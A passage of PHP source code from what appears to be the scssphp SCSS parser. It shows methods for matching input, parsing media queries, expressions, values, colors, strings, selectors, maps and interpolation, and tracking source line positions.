*/
protected function peek($regex, &$out, $from = null)
{
if (! isset($from)) {
$from = $this->count;
}
$r = '/' . $regex . '/' .
$this->patternModifiers;
$result = preg_match($r, $this->buffer, $out, null, $from);
return $result;
}
/**
* Seek to position in input stream (or return current position in
input stream)
*
* @param integer $where
*/
protected function seek($where)
{
$this->count = $where;
}
/**
* Match string looking for either ending delim, escape, or string
interpolation
*
* {@internal This is a workaround for preg_match's 250K string
match limit. }}
*
* @param array $m Matches (passed by reference)
* @param string $delim Delimeter
*
* @return boolean True if match; false otherwise
*/
protected function matchString(&$m, $delim)
{
$token = null;
$end = strlen($this->buffer);
// look for either ending delim, escape, or string interpolation
foreach (['#{', '\\', $delim] as $lookahead) {
$pos = strpos($this->buffer, $lookahead, $this->count);
if ($pos !== false && $pos < $end) {
$end = $pos;
$token = $lookahead;
}
}
if (! isset($token)) {
return false;
}
$match = substr($this->buffer, $this->count, $end -
$this->count);
$m = [
$match . $token,
$match,
$token
];
$this->count = $end + strlen($token);
return true;
}
/**
* Try to match something on head of buffer
*
* @param string $regex
* @param array $out
* @param boolean $eatWhitespace
*
* @return boolean
*/
protected function match($regex, &$out, $eatWhitespace = null)
{
$r = '/' . $regex . '/' .
$this->patternModifiers;
if (! preg_match($r, $this->buffer, $out, null,
$this->count)) {
return false;
}
$this->count += strlen($out[0]);
if (! isset($eatWhitespace)) {
$eatWhitespace = $this->eatWhiteDefault;
}
if ($eatWhitespace) {
$this->whitespace();
}
return true;
}
/**
* Match a single string
*
* @param string $char
* @param boolean $eatWhitespace
*
* @return boolean
*/
protected function matchChar($char, $eatWhitespace = null)
{
if (! isset($this->buffer[$this->count]) ||
$this->buffer[$this->count] !== $char) {
return false;
}
$this->count++;
if (! isset($eatWhitespace)) {
$eatWhitespace = $this->eatWhiteDefault;
}
if ($eatWhitespace) {
$this->whitespace();
}
return true;
}
/**
* Match literal string
*
* @param string $what
* @param integer $len
* @param boolean $eatWhitespace
*
* @return boolean
*/
protected function literal($what, $len, $eatWhitespace = null)
{
if (strcasecmp(substr($this->buffer, $this->count, $len),
$what) !== 0) {
return false;
}
$this->count += $len;
if (! isset($eatWhitespace)) {
$eatWhitespace = $this->eatWhiteDefault;
}
if ($eatWhitespace) {
$this->whitespace();
}
return true;
}
/**
* Match some whitespace
*
* @return boolean
*/
protected function whitespace()
{
$gotWhite = false;
while (preg_match(static::$whitePattern, $this->buffer, $m,
null, $this->count)) {
if (isset($m[1]) &&
empty($this->commentsSeen[$this->count])) {
// comment that are kept in the output CSS
$comment = [];
$endCommentCount = $this->count + strlen($m[1]);
// find interpolations in comment
$p = strpos($this->buffer, '#{',
$this->count);
while ($p !== false && $p < $endCommentCount) {
$c = substr($this->buffer, $this->count, $p -
$this->count);
$comment[] = $c;
$this->count = $p;
$out = null;
if ($this->interpolation($out)) {
// keep right spaces in the following string part
if ($out[3]) {
while ($this->buffer[$this->count-1] !==
'}') {
$this->count--;
}
$out[3] = '';
}
$comment[] = $out;
} else {
$comment[] = substr($this->buffer,
$this->count, 2);
$this->count += 2;
}
$p = strpos($this->buffer, '#{',
$this->count);
}
// remaining part
$c = substr($this->buffer, $this->count,
$endCommentCount - $this->count);
if (! $comment) {
// single part static comment
$this->appendComment([Type::T_COMMENT, $c]);
} else {
$comment[] = $c;
$this->appendComment([Type::T_COMMENT,
[Type::T_STRING, '', $comment]]);
}
$this->commentsSeen[$this->count] = true;
$this->count = $endCommentCount;
} else {
// comment that are ignored and not kept in the output css
$this->count += strlen($m[0]);
}
$gotWhite = true;
}
return $gotWhite;
}
/**
* Append comment to current block
*
* @param array $comment
*/
protected function appendComment($comment)
{
if ($comment[0] === Type::T_COMMENT &&
is_string($comment[1])) {
$comment[1] = substr(preg_replace(['/^\s+/m',
'/^(.)/m'], ['', ' \1'], $comment[1]), 1);
}
$this->env->comments[] = $comment;
}
/**
* Append statement to current block
*
* @param array $statement
* @param integer $pos
*/
protected function append($statement, $pos = null)
{
if (! is_null($statement)) {
if ($pos !== null) {
list($line, $column) = $this->getSourcePosition($pos);
$statement[static::SOURCE_LINE] = $line;
$statement[static::SOURCE_COLUMN] = $column;
$statement[static::SOURCE_INDEX] = $this->sourceIndex;
}
$this->env->children[] = $statement;
}
$comments = $this->env->comments;
if ($comments) {
$this->env->children =
array_merge($this->env->children, $comments);
$this->env->comments = [];
}
}
/**
* Returns last child was appended
*
* @return array|null
*/
protected function last()
{
$i = count($this->env->children) - 1;
if (isset($this->env->children[$i])) {
return $this->env->children[$i];
}
}
/**
* Parse media query list
*
* @param array $out
*
* @return boolean
*/
protected function mediaQueryList(&$out)
{
return $this->genericList($out, 'mediaQuery',
',', false);
}
/**
* Parse media query
*
* @param array $out
*
* @return boolean
*/
protected function mediaQuery(&$out)
{
$expressions = null;
$parts = [];
if (($this->literal('only', 4) && ($only =
true) || $this->literal('not', 3) && ($not = true) ||
true) &&
$this->mixedKeyword($mediaType)
) {
$prop = [Type::T_MEDIA_TYPE];
if (isset($only)) {
$prop[] = [Type::T_KEYWORD, 'only'];
}
if (isset($not)) {
$prop[] = [Type::T_KEYWORD, 'not'];
}
$media = [Type::T_LIST, '', []];
foreach ((array) $mediaType as $type) {
if (is_array($type)) {
$media[2][] = $type;
} else {
$media[2][] = [Type::T_KEYWORD, $type];
}
}
$prop[] = $media;
$parts[] = $prop;
}
if (empty($parts) || $this->literal('and', 3)) {
$this->genericList($expressions,
'mediaExpression', 'and', false);
if (is_array($expressions)) {
$parts = array_merge($parts, $expressions[2]);
}
}
$out = $parts;
return true;
}
/**
* Parse media expression
*
* @param array $out
*
* @return boolean
*/
protected function mediaExpression(&$out)
{
$s = $this->count;
$value = null;
if ($this->matchChar('(') &&
$this->expression($feature) &&
($this->matchChar(':') &&
$this->expression($value) || true) &&
$this->matchChar(')')
) {
$out = [Type::T_MEDIA_EXPRESSION, $feature];
if ($value) {
$out[] = $value;
}
return true;
}
$this->seek($s);
return false;
}
/**
* Parse argument values
*
* @param array $out
*
* @return boolean
*/
protected function argValues(&$out)
{
if ($this->genericList($list, 'argValue',
',', false)) {
$out = $list[2];
return true;
}
return false;
}
/**
* Parse argument value
*
* @param array $out
*
* @return boolean
*/
protected function argValue(&$out)
{
$s = $this->count;
$keyword = null;
if (! $this->variable($keyword) || !
$this->matchChar(':')) {
$this->seek($s);
$keyword = null;
}
if ($this->genericList($value, 'expression')) {
$out = [$keyword, $value, false];
$s = $this->count;
if ($this->literal('...', 3)) {
$out[2] = true;
} else {
$this->seek($s);
}
return true;
}
return false;
}
/**
* Parse comma separated value list
*
* @param array $out
*
* @return boolean
*/
protected function valueList(&$out)
{
return $this->genericList($out, 'spaceList',
',');
}
/**
* Parse space separated value list
*
* @param array $out
*
* @return boolean
*/
protected function spaceList(&$out)
{
return $this->genericList($out, 'expression');
}
/**
* Parse generic list
*
* @param array $out
* @param callable $parseItem
* @param string $delim
* @param boolean $flatten
*
* @return boolean
*/
protected function genericList(&$out, $parseItem, $delim =
'', $flatten = true)
{
$s = $this->count;
$items = [];
$value = null;
while ($this->$parseItem($value)) {
$items[] = $value;
if ($delim) {
if (! $this->literal($delim, strlen($delim))) {
break;
}
}
}
if (! $items) {
$this->seek($s);
return false;
}
if ($flatten && count($items) === 1) {
$out = $items[0];
} else {
$out = [Type::T_LIST, $delim, $items];
}
return true;
}
/**
* Parse expression
*
* @param array $out
*
* @return boolean
*/
protected function expression(&$out)
{
$s = $this->count;
if ($this->matchChar('(')) {
if ($this->parenExpression($out, $s, ")")) {
return true;
}
$this->seek($s);
}
if ($this->matchChar('[')) {
if ($this->parenExpression($out, $s, "]",
[Type::T_LIST, Type::T_KEYWORD])) {
if ($out[0] !== Type::T_LIST && $out[0] !==
Type::T_MAP) {
$out = [Type::T_STRING, '', [ '[',
$out, ']' ]];
}
return true;
}
$this->seek($s);
}
if ($this->value($lhs)) {
$out = $this->expHelper($lhs, 0);
return true;
}
return false;
}
/**
* Parse expression specifically checking for lists in parenthesis or
brackets
*
* @param array $out
* @param integer $s
* @param string $closingParen
* @param array $allowedTypes
*
* @return boolean
*/
protected function parenExpression(&$out, $s, $closingParen =
")", $allowedTypes = [Type::T_LIST, Type::T_MAP])
{
if ($this->matchChar($closingParen)) {
$out = [Type::T_LIST, '', []];
return true;
}
if ($this->valueList($out) &&
$this->matchChar($closingParen) && in_array($out[0],
$allowedTypes)) {
return true;
}
$this->seek($s);
if (in_array(Type::T_MAP, $allowedTypes) &&
$this->map($out)) {
return true;
}
return false;
}
/**
* Parse left-hand side of subexpression
*
* @param array $lhs
* @param integer $minP
*
* @return array
*/
protected function expHelper($lhs, $minP)
{
$operators = static::$operatorPattern;
$ss = $this->count;
$whiteBefore = isset($this->buffer[$this->count - 1])
&&
ctype_space($this->buffer[$this->count - 1]);
while ($this->match($operators, $m, false) &&
static::$precedence[$m[1]] >= $minP) {
$whiteAfter = isset($this->buffer[$this->count])
&&
ctype_space($this->buffer[$this->count]);
$varAfter = isset($this->buffer[$this->count]) &&
$this->buffer[$this->count] === '$';
$this->whitespace();
$op = $m[1];
// don't turn negative numbers into expressions
if ($op === '-' && $whiteBefore && !
$whiteAfter && ! $varAfter) {
break;
}
if (! $this->value($rhs)) {
break;
}
// peek and see if rhs belongs to next operator
if ($this->peek($operators, $next) &&
static::$precedence[$next[1]] > static::$precedence[$op]) {
$rhs = $this->expHelper($rhs,
static::$precedence[$next[1]]);
}
$lhs = [Type::T_EXPRESSION, $op, $lhs, $rhs,
$this->inParens, $whiteBefore, $whiteAfter];
$ss = $this->count;
$whiteBefore = isset($this->buffer[$this->count - 1])
&&
ctype_space($this->buffer[$this->count - 1]);
}
$this->seek($ss);
return $lhs;
}
/**
* Parse value
*
* @param array $out
*
* @return boolean
*/
protected function value(&$out)
{
if (! isset($this->buffer[$this->count])) {
return false;
}
$s = $this->count;
$char = $this->buffer[$this->count];
if ($this->literal('url(', 4) &&
$this->match('data:([a-z]+)\/([a-z0-9.+-]+);base64,', $m,
false)) {
$len = strspn(
$this->buffer,
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwyxz0123456789+/=',
$this->count
);
$this->count += $len;
if ($this->matchChar(')')) {
$content = substr($this->buffer, $s, $this->count -
$s);
$out = [Type::T_KEYWORD, $content];
return true;
}
}
$this->seek($s);
if ($this->literal('url(', 4, false) &&
$this->match('\s*(\/\/\S+)\s*', $m)) {
$content = 'url(' . $m[1];
if ($this->matchChar(')')) {
$content .= ')';
$out = [Type::T_KEYWORD, $content];
return true;
}
}
$this->seek($s);
// not
if ($char === 'n' &&
$this->literal('not', 3, false)) {
if ($this->whitespace() && $this->value($inner))
{
$out = [Type::T_UNARY, 'not', $inner,
$this->inParens];
return true;
}
$this->seek($s);
if ($this->parenValue($inner)) {
$out = [Type::T_UNARY, 'not', $inner,
$this->inParens];
return true;
}
$this->seek($s);
}
// addition
if ($char === '+') {
$this->count++;
if ($this->value($inner)) {
$out = [Type::T_UNARY, '+', $inner,
$this->inParens];
return true;
}
$this->count--;
return false;
}
// negation
if ($char === '-') {
$this->count++;
if ($this->variable($inner) || $this->unit($inner) ||
$this->parenValue($inner)) {
$out = [Type::T_UNARY, '-', $inner,
$this->inParens];
return true;
}
$this->count--;
}
// paren
if ($char === '(' && $this->parenValue($out))
{
return true;
}
if ($char === '#') {
if ($this->interpolation($out) || $this->color($out)) {
return true;
}
}
if ($this->matchChar('&', true)) {
$out = [Type::T_SELF];
return true;
}
if ($char === '$' && $this->variable($out)) {
return true;
}
if ($char === 'p' && $this->progid($out)) {
return true;
}
if (($char === '"' || $char === "'")
&& $this->string($out)) {
return true;
}
if ($this->unit($out)) {
return true;
}
// unicode range with wildcards
if ($this->literal('U+', 2) &&
$this->match('([0-9A-F]+\?*)(-([0-9A-F]+))?', $m, false)) {
$out = [Type::T_KEYWORD, 'U+' . $m[0]];
return true;
}
if ($this->keyword($keyword, false)) {
if ($this->func($keyword, $out)) {
return true;
}
$this->whitespace();
if ($keyword === 'null') {
$out = [Type::T_NULL];
} else {
$out = [Type::T_KEYWORD, $keyword];
}
return true;
}
return false;
}
/**
* Parse parenthesized value
*
* @param array $out
*
* @return boolean
*/
protected function parenValue(&$out)
{
$s = $this->count;
$inParens = $this->inParens;
if ($this->matchChar('(')) {
if ($this->matchChar(')')) {
$out = [Type::T_LIST, '', []];
return true;
}
$this->inParens = true;
if ($this->expression($exp) &&
$this->matchChar(')')) {
$out = $exp;
$this->inParens = $inParens;
return true;
}
}
$this->inParens = $inParens;
$this->seek($s);
return false;
}
/**
* Parse "progid:"
*
* @param array $out
*
* @return boolean
*/
protected function progid(&$out)
{
$s = $this->count;
if ($this->literal('progid:', 7, false) &&
$this->openString('(', $fn) &&
$this->matchChar('(')
) {
$this->openString(')', $args, '(');
if ($this->matchChar(')')) {
$out = [Type::T_STRING, '', [
'progid:', $fn, '(', $args,
')'
]];
return true;
}
}
$this->seek($s);
return false;
}
/**
* Parse function call
*
* @param string $name
* @param array $func
*
* @return boolean
*/
protected function func($name, &$func)
{
$s = $this->count;
if ($this->matchChar('(')) {
if ($name === 'alpha' &&
$this->argumentList($args)) {
$func = [Type::T_FUNCTION, $name, [Type::T_STRING,
'', $args]];
return true;
}
if ($name !== 'expression' && !
preg_match('/^(-[a-z]+-)?calc$/', $name)) {
$ss = $this->count;
if ($this->argValues($args) &&
$this->matchChar(')')) {
$func = [Type::T_FUNCTION_CALL, $name, $args];
return true;
}
$this->seek($ss);
}
if (($this->openString(')', $str, '(')
|| true) &&
$this->matchChar(')')
) {
$args = [];
if (! empty($str)) {
$args[] = [null, [Type::T_STRING, '',
[$str]]];
}
$func = [Type::T_FUNCTION_CALL, $name, $args];
return true;
}
}
$this->seek($s);
return false;
}
/**
* Parse function call argument list
*
* @param array $out
*
* @return boolean
*/
protected function argumentList(&$out)
{
$s = $this->count;
$this->matchChar('(');
$args = [];
while ($this->keyword($var)) {
if ($this->matchChar('=') &&
$this->expression($exp)) {
$args[] = [Type::T_STRING, '', [$var .
'=']];
$arg = $exp;
} else {
break;
}
$args[] = $arg;
if (! $this->matchChar(',')) {
break;
}
$args[] = [Type::T_STRING, '', [', ']];
}
if (! $this->matchChar(')') || ! $args) {
$this->seek($s);
return false;
}
$out = $args;
return true;
}
/**
* Parse mixin/function definition argument list
*
* @param array $out
*
* @return boolean
*/
protected function argumentDef(&$out)
{
$s = $this->count;
$this->matchChar('(');
$args = [];
while ($this->variable($var)) {
$arg = [$var[1], null, false];
$ss = $this->count;
if ($this->matchChar(':') &&
$this->genericList($defaultVal, 'expression')) {
$arg[1] = $defaultVal;
} else {
$this->seek($ss);
}
$ss = $this->count;
if ($this->literal('...', 3)) {
$sss = $this->count;
if (! $this->matchChar(')')) {
$this->throwParseError('... has to be after the
final argument');
}
$arg[2] = true;
$this->seek($sss);
} else {
$this->seek($ss);
}
$args[] = $arg;
if (! $this->matchChar(',')) {
break;
}
}
if (! $this->matchChar(')')) {
$this->seek($s);
return false;
}
$out = $args;
return true;
}
/**
* Parse map
*
* @param array $out
*
* @return boolean
*/
protected function map(&$out)
{
$s = $this->count;
if (! $this->matchChar('(')) {
return false;
}
$keys = [];
$values = [];
while ($this->genericList($key, 'expression')
&& $this->matchChar(':') &&
$this->genericList($value, 'expression')
) {
$keys[] = $key;
$values[] = $value;
if (! $this->matchChar(',')) {
break;
}
}
if (! $keys || ! $this->matchChar(')')) {
$this->seek($s);
return false;
}
$out = [Type::T_MAP, $keys, $values];
return true;
}
/**
* Parse color
*
* @param array $out
*
* @return boolean
*/
protected function color(&$out)
{
$color = [Type::T_COLOR];
$s = $this->count;
if ($this->match('(#([0-9a-f]+))', $m)) {
$nofValues = strlen($m[2]);
$hasAlpha = $nofValues === 4 || $nofValues === 8;
$channels = $hasAlpha ? [4, 3, 2, 1] : [3, 2, 1];
switch ($nofValues) {
case 3:
case 4:
$num = hexdec($m[2]);
foreach ($channels as $i) {
$t = $num & 0xf;
$color[$i] = $t << 4 | $t;
$num >>= 4;
}
break;
case 6:
case 8:
$num = hexdec($m[2]);
foreach ($channels as $i) {
$color[$i] = $num & 0xff;
$num >>= 8;
}
break;
default:
$this->seek($s);
return false;
}
if ($hasAlpha) {
if ($color[4] === 255) {
$color[4] = 1; // fully opaque
} else {
$color[4] = round($color[4] / 255, 3);
}
}
$out = $color;
return true;
}
return false;
}
/**
* Parse number with unit
*
* @param array $unit
*
* @return boolean
*/
protected function unit(&$unit)
{
$s = $this->count;
if ($this->match('([0-9]*(\.)?[0-9]+)([%a-zA-Z]+)?',
$m, false)) {
if (strlen($this->buffer) === $this->count || !
ctype_digit($this->buffer[$this->count])) {
$this->whitespace();
$unit = new Node\Number($m[1], empty($m[3]) ? ''
: $m[3]);
return true;
}
$this->seek($s);
}
return false;
}
/**
* Parse string
*
* @param array $out
*
* @return boolean
*/
protected function string(&$out)
{
$s = $this->count;
if ($this->matchChar('"', false)) {
$delim = '"';
} elseif ($this->matchChar("'", false)) {
$delim = "'";
} else {
return false;
}
$content = [];
$oldWhite = $this->eatWhiteDefault;
$this->eatWhiteDefault = false;
$hasInterpolation = false;
while ($this->matchString($m, $delim)) {
if ($m[1] !== '') {
$content[] = $m[1];
}
if ($m[2] === '#{') {
$this->count -= strlen($m[2]);
if ($this->interpolation($inter, false)) {
$content[] = $inter;
$hasInterpolation = true;
} else {
$this->count += strlen($m[2]);
$content[] = '#{'; // ignore it
}
} elseif ($m[2] === '\\') {
if ($this->matchChar('"', false)) {
$content[] = $m[2] . '"';
} elseif ($this->matchChar("'", false)) {
$content[] = $m[2] . "'";
} elseif ($this->literal("\\", 1, false)) {
$content[] = $m[2] . "\\";
} elseif ($this->literal("\r\n", 2, false)
|| $this->matchChar("\r", false)
|| $this->matchChar("\n", false)
|| $this->matchChar("\f", false)) {
// this is a continuation escaping, to be ignored
} else {
$content[] = $m[2];
}
} else {
$this->count -= strlen($delim);
break; // delim
}
}
$this->eatWhiteDefault = $oldWhite;
if ($this->literal($delim, strlen($delim))) {
if ($hasInterpolation) {
$delim = '"';
foreach ($content as &$string) {
if ($string === "\\\\") {
$string = "\\";
} elseif ($string === "\\'") {
$string = "'";
} elseif ($string === '\\"') {
$string = '"';
}
}
}
$out = [Type::T_STRING, $delim, $content];
return true;
}
$this->seek($s);
return false;
}
/**
* Parse keyword or interpolation
*
* @param array $out
*
* @return boolean
*/
protected function mixedKeyword(&$out)
{
$parts = [];
$oldWhite = $this->eatWhiteDefault;
$this->eatWhiteDefault = false;
for (;;) {
if ($this->keyword($key)) {
$parts[] = $key;
continue;
}
if ($this->interpolation($inter)) {
$parts[] = $inter;
continue;
}
break;
}
$this->eatWhiteDefault = $oldWhite;
if (! $parts) {
return false;
}
if ($this->eatWhiteDefault) {
$this->whitespace();
}
$out = $parts;
return true;
}
/**
* Parse an unbounded string stopped by $end
*
* @param string $end
* @param array $out
* @param string $nestingOpen
*
* @return boolean
*/
protected function openString($end, &$out, $nestingOpen = null)
{
$oldWhite = $this->eatWhiteDefault;
$this->eatWhiteDefault = false;
$patt = '(.*?)([\'"]|#\{|' .
$this->pregQuote($end) . '|' . static::$commentPattern .
')';
$nestingLevel = 0;
$content = [];
while ($this->match($patt, $m, false)) {
if (isset($m[1]) && $m[1] !== '') {
$content[] = $m[1];
if ($nestingOpen) {
$nestingLevel += substr_count($m[1], $nestingOpen);
}
}
$tok = $m[2];
$this->count-= strlen($tok);
if ($tok === $end && ! $nestingLevel--) {
break;
}
if (($tok === "'" || $tok ===
'"') && $this->string($str)) {
$content[] = $str;
continue;
}
if ($tok === '#{' &&
$this->interpolation($inter)) {
$content[] = $inter;
continue;
}
$content[] = $tok;
$this->count+= strlen($tok);
}
$this->eatWhiteDefault = $oldWhite;
if (! $content) {
return false;
}
// trim the end
if (is_string(end($content))) {
$content[count($content) - 1] = rtrim(end($content));
}
$out = [Type::T_STRING, '', $content];
return true;
}
/**
* Parser interpolation
*
* @param array $out
* @param boolean $lookWhite save information about whitespace before
and after
*
* @return boolean
*/
protected function interpolation(&$out, $lookWhite = true)
{
$oldWhite = $this->eatWhiteDefault;
$this->eatWhiteDefault = true;
$s = $this->count;
if ($this->literal('#{', 2) &&
$this->valueList($value) && $this->matchChar('}',
false)) {
if ($value === [Type::T_SELF]) {
$out = $value;
} else {
if ($lookWhite) {
$left = preg_match('/\s/',
$this->buffer[$s - 1]) ? ' ' : '';
$right = preg_match('/\s/',
$this->buffer[$this->count]) ? ' ': '';
} else {
$left = $right = false;
}
$out = [Type::T_INTERPOLATE, $value, $left, $right];
}
$this->eatWhiteDefault = $oldWhite;
if ($this->eatWhiteDefault) {
$this->whitespace();
}
return true;
}
$this->seek($s);
$this->eatWhiteDefault = $oldWhite;
return false;
}
/**
* Parse property name (as an array of parts or a string)
*
* @param array $out
*
* @return boolean
*/
protected function propertyName(&$out)
{
$parts = [];
$oldWhite = $this->eatWhiteDefault;
$this->eatWhiteDefault = false;
for (;;) {
if ($this->interpolation($inter)) {
$parts[] = $inter;
continue;
}
if ($this->keyword($text)) {
$parts[] = $text;
continue;
}
if (! $parts && $this->match('[:.#]', $m,
false)) {
// css hacks
$parts[] = $m[0];
continue;
}
break;
}
$this->eatWhiteDefault = $oldWhite;
if (! $parts) {
return false;
}
// match comment hack
if (preg_match(
static::$whitePattern,
$this->buffer,
$m,
null,
$this->count
)) {
if (! empty($m[0])) {
$parts[] = $m[0];
$this->count += strlen($m[0]);
}
}
$this->whitespace(); // get any extra whitespace
$out = [Type::T_STRING, '', $parts];
return true;
}
/**
* Parse comma separated selector list
*
* @param array $out
*
* @return boolean
*/
protected function selectors(&$out, $subSelector = false)
{
$s = $this->count;
$selectors = [];
while ($this->selector($sel, $subSelector)) {
$selectors[] = $sel;
if (! $this->matchChar(',', true)) {
break;
}
while ($this->matchChar(',', true)) {
; // ignore extra
}
}
if (! $selectors) {
$this->seek($s);
return false;
}
$out = $selectors;
return true;
}
/**
* Parse whitespace separated selector list
*
* @param array $out
*
* @return boolean
*/
protected function selector(&$out, $subSelector = false)
{
$selector = [];
for (;;) {
if ($this->match('[>+~]+', $m, true)) {
$selector[] = [$m[0]];
continue;
}
if ($this->selectorSingle($part, $subSelector)) {
$selector[] = $part;
$this->match('\s+', $m);
continue;
}
if ($this->match('\/[^\/]+\/', $m, true)) {
$selector[] = [$m[0]];
continue;
}
break;
}
if (! $selector) {
return false;
}
$out = $selector;
return true;
}
/**
* Parse the parts that make up a selector
*
* {@internal
* div[yes=no]#something.hello.world:nth-child(-2n+1)%placeholder
* }}
*
* @param array $out
*
* @return boolean
*/
protected function selectorSingle(&$out, $subSelector = false)
{
$oldWhite = $this->eatWhiteDefault;
$this->eatWhiteDefault = false;
$parts = [];
if ($this->matchChar('*', false)) {
$parts[] = '*';
}
for (;;) {
if (! isset($this->buffer[$this->count])) {
break;
}
$s = $this->count;
$char = $this->buffer[$this->count];
// see if we can stop early
if ($char === '{' || $char === ',' || $char
=== ';' || $char === '}' || $char === '@') {
break;
}
// parsing a sub selector in () stop with the closing )
if ($subSelector && $char === ')') {
break;
}
//self
switch ($char) {
case '&':
$parts[] = Compiler::$selfSelector;
$this->count++;
continue 2;
case '.':
$parts[] = '.';
$this->count++;
continue 2;
case '|':
$parts[] = '|';
$this->count++;
continue 2;
}
if ($char === '\\' &&
$this->match('\\\\\S', $m)) {
$parts[] = $m[0];
continue;
}
if ($char === '%') {
$this->count++;
if ($this->placeholder($placeholder)) {
$parts[] = '%';
$parts[] = $placeholder;
continue;
}
break;
}
if ($char === '#') {
if ($this->interpolation($inter)) {
$parts[] = $inter;
continue;
}
$parts[] = '#';
$this->count++;
continue;
}
// a pseudo selector
if ($char === ':') {
if ($this->buffer[$this->count + 1] ===
':') {
$this->count += 2;
$part = '::';
} else {
$this->count++;
$part = ':';
}
if ($this->mixedKeyword($nameParts)) {
$parts[] = $part;
foreach ($nameParts as $sub) {
$parts[] = $sub;
}
$ss = $this->count;
if ($nameParts === ['not'] || $nameParts ===
['is'] ||
$nameParts === ['has'] || $nameParts ===
['where']
) {
if ($this->matchChar('(') &&
($this->selectors($subs, true) || true)
&&
$this->matchChar(')')
) {
$parts[] = '(';
while ($sub = array_shift($subs)) {
while ($ps = array_shift($sub)) {
foreach ($ps as &$p) {
$parts[] = $p;
}
if (count($sub) && reset($sub))
{
$parts[] = ' ';
}
}
if (count($subs) && reset($subs)) {
$parts[] = ', ';
}
}
$parts[] = ')';
} else {
$this->seek($ss);
}
} else {
if ($this->matchChar('(') &&
($this->openString(')', $str,
'(') || true) &&
$this->matchChar(')')
) {
$parts[] = '(';
if (! empty($str)) {
$parts[] = $str;
}
$parts[] = ')';
} else {
$this->seek($ss);
}
}
continue;
}
}
$this->seek($s);
// attribute selector
if ($char === '[' &&
$this->matchChar('[') &&
($this->openString(']', $str, '[')
|| true) &&
$this->matchChar(']')
) {
$parts[] = '[';
if (! empty($str)) {
$parts[] = $str;
}
$parts[] = ']';
continue;
}
$this->seek($s);
// for keyframes
if ($this->unit($unit)) {
$parts[] = $unit;
continue;
}
if ($this->keyword($name)) {
$parts[] = $name;
continue;
}
break;
}
$this->eatWhiteDefault = $oldWhite;
if (! $parts) {
return false;
}
$out = $parts;
return true;
}
/**
* Parse a variable
*
* @param array $out
*
* @return boolean
*/
protected function variable(&$out)
{
$s = $this->count;
if ($this->matchChar('$', false) &&
$this->keyword($name)) {
$out = [Type::T_VARIABLE, $name];
return true;
}
$this->seek($s);
return false;
}
/**
* Parse a keyword
*
* @param string $word
* @param boolean $eatWhitespace
*
* @return boolean
*/
protected function keyword(&$word, $eatWhitespace = null)
{
if ($this->match(
$this->utf8
?
'(([\pL\w\x{00A0}-\x{10FFFF}_\-\*!"\']|[\\\\].)([\pL\w\x{00A0}-\x{10FFFF}\-_"\']|[\\\\].)*)'
:
'(([\w_\-\*!"\']|[\\\\].)([\w\-_"\']|[\\\\].)*)',
$m,
$eatWhitespace
)) {
$word = $m[1];
return true;
}
return false;
}
/**
* Parse a placeholder
*
* @param string $placeholder
*
* @return boolean
*/
protected function placeholder(&$placeholder)
{
if ($this->match(
$this->utf8
? '([\pL\w\-_]+)'
: '([\w\-_]+)',
$m
)) {
$placeholder = $m[1];
return true;
}
if ($this->interpolation($placeholder)) {
return true;
}
return false;
}
/**
* Parse a url
*
* @param array $out
*
* @return boolean
*/
protected function url(&$out)
{
if
($this->match('(url\(\s*(["\']?)([^)]+)\2\s*\))',
$m)) {
$out = [Type::T_STRING, '', ['url(' . $m[2]
. $m[3] . $m[2] . ')']];
return true;
}
return false;
}
/**
* Consume an end of statement delimiter
*
* @return boolean
*/
protected function end()
{
if ($this->matchChar(';')) {
return true;
}
if ($this->count === strlen($this->buffer) ||
$this->buffer[$this->count] === '}') {
// if there is end of file or a closing block next then we
don't need a ;
return true;
}
return false;
}
/**
* Strip assignment flag from the list
*
* @param array $value
*
* @return array
*/
protected function stripAssignmentFlags(&$value)
{
$flags = [];
for ($token = &$value; $token[0] === Type::T_LIST &&
($s = count($token[2])); $token = &$lastNode) {
$lastNode = &$token[2][$s - 1];
while ($lastNode[0] === Type::T_KEYWORD &&
in_array($lastNode[1], ['!default', '!global'])) {
array_pop($token[2]);
$node = end($token[2]);
$token = $this->flattenList($token);
$flags[] = $lastNode[1];
$lastNode = $node;
}
}
return $flags;
}
/**
* Strip optional flag from selector list
*
* @param array $selectors
*
* @return string
*/
protected function stripOptionalFlag(&$selectors)
{
$optional = false;
$selector = end($selectors);
$part = end($selector);
if ($part === ['!optional']) {
array_pop($selectors[count($selectors) - 1]);
$optional = true;
}
return $optional;
}
/**
* Turn list of length 1 into value type
*
* @param array $value
*
* @return array
*/
protected function flattenList($value)
{
if ($value[0] === Type::T_LIST && count($value[2]) === 1) {
return $this->flattenList($value[2][0]);
}
return $value;
}
/**
* @deprecated
*
* {@internal
* advance counter to next occurrence of $what
* $until - don't include $what in advance
* $allowNewline, if string, will be used as valid char set
* }}
*/
protected function to($what, &$out, $until = false, $allowNewline =
false)
{
if (is_string($allowNewline)) {
$validChars = $allowNewline;
} else {
$validChars = $allowNewline ? '.' :
"[^\n]";
}
if (! $this->match('(' . $validChars . '*?)'
. $this->pregQuote($what), $m, ! $until)) {
return false;
}
if ($until) {
$this->count -= strlen($what); // give back $what
}
$out = $m[1];
return true;
}
/**
* @deprecated
*/
protected function show()
{
if ($this->peek("(.*?)(\n|$)", $m, $this->count)) {
return $m[1];
}
return '';
}
/**
* Quote regular expression
*
* @param string $what
*
* @return string
*/
private function pregQuote($what)
{
return preg_quote($what, '/');
}
/**
* Extract line numbers from buffer
*
* @param string $buffer
*/
private function extractLineNumbers($buffer)
{
$this->sourcePositions = [0 => 0];
$prev = 0;
while (($pos = strpos($buffer, "\n", $prev)) !== false) {
$this->sourcePositions[] = $pos;
$prev = $pos + 1;
}
$this->sourcePositions[] = strlen($buffer);
if (substr($buffer, -1) !== "\n") {
$this->sourcePositions[] = strlen($buffer) + 1;
}
}
/**
* Get source line number and column (given character position in the
buffer)
*
* @param integer $pos
*
* @return array
*/
private function getSourcePosition($pos)
{
$low = 0;
$high = count($this->sourcePositions);
while ($low < $high) {
$mid = (int) (($high + $low) / 2);
if ($pos < $this->sourcePositions[$mid]) {
$high = $mid - 1;
continue;
}
if ($pos >= $this->sourcePositions[$mid + 1]) {
$low = $mid + 1;
continue;
}
return [$mid + 1, $pos - $this->sourcePositions[$mid]];
}
return [$low + 1, $pos - $this->sourcePositions[$low]];
}
/**
* Save internal encoding
*/
private function saveEncoding()
{
if (version_compare(PHP_VERSION, '7.2.0') >= 0) {
return;
}
$iniDirective = 'mbstring' . '.func_overload';
// deprecated in PHP 7.2
if (ini_get($iniDirective) & 2) {
$this->encoding = mb_internal_encoding();
